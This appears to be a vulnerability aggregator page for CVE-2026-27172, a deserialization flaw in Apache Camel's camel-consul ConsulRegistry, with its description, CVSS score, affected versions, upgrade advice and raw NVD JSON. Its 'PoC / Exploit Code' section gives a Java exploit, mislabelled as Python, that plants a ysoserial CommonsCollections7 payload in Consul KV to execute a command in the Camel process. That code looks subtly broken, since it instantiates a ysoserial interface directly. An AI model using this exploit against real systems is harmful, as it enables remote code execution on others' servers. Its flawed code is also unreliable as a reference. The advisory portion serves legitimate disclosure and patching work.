Security Vulnerability Report
中文
CVE-2026-27172 CVSS 8.8 HIGH

CVE-2026-27172

Published: 2026-04-27 11:16:02
Last Modified: 2026-04-28 19:40:53

Description

The ConsulRegistry in the camel-consul component (class org.apache.camel.component.consul.ConsulRegistry and its inner ConsulRegistryUtils.deserialize method) read Java-serialized values from the Consul KV store and passed them to ObjectInputStream.readObject() without configuring an ObjectInputFilter. An attacker who can write to the Consul KV store backing a Camel ConsulRegistry instance could inject a malicious serialized Java object that is deserialized the next time Camel performs a lookup against that registry, leading to arbitrary code execution in the Camel process. The issue mirrors the class of vulnerability already addressed for other Camel components in CVE-2024-22369, CVE-2024-23114 and CVE-2026-25747, and was overlooked during the original remediation of those CVEs. This issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.1. Users are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:* - VULNERABLE
Apache Camel >= 3.0.0, < 4.14.6
Apache Camel >= 4.15.0, < 4.18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import com.ecwid.consul.v1.ConsulClient; import com.ecwid.consul.v1.kv.model.PutParams; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.util.PayloadRunner; public class CVE202627172Exploit { public static void main(String[] args) throws Exception { // 1. Generate malicious serialized object using ysoserial // Example using CommonsCollections7 String command = "touch /tmp/pwned"; ObjectPayload payload = new ObjectPayload<>(ysoserial.payloads.CommonsCollections7.class); byte[] serializedData = payload.getObject(command); // 2. Write the payload to Consul KV // The target Camel application must be configured to read this specific key String consulHost = "127.0.0.1"; int consulPort = 8500; String keyPath = "camel/registry/maliciousKey"; ConsulClient consulClient = new ConsulClient(consulHost, consulPort); consulClient.setKVValue(keyPath, serializedData); System.out.println("Payload written to Consul KV: " + keyPath); System.out.println("Wait for Camel to perform a lookup..."); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27172", "sourceIdentifier": "[email protected]", "published": "2026-04-27T11:16:01.650", "lastModified": "2026-04-28T19:40:52.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ConsulRegistry in the camel-consul component (class org.apache.camel.component.consul.ConsulRegistry and its inner ConsulRegistryUtils.deserialize method) read Java-serialized values from the Consul KV store and passed them to ObjectInputStream.readObject() without configuring an ObjectInputFilter. An attacker who can write to the Consul KV store backing a Camel ConsulRegistry instance could inject a malicious serialized Java object that is deserialized the next time Camel performs a lookup against that registry, leading to arbitrary code execution in the Camel process. The issue mirrors the class of vulnerability already addressed for other Camel components in CVE-2024-22369, CVE-2024-23114 and CVE-2026-25747, and was overlooked during the original remediation of those CVEs.\n\nThis issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.1.\n\nUsers are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "4.14.6", "matchCriteriaId": "3CB451CA-CD89-4D27-A289-1456E97FCB24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15.0", "versionEndExcluding": "4.18.1", "matchCriteriaId": "CC667F51-0F9D-49FC-889B-DE6F8DC778EB"}]}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-27172.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}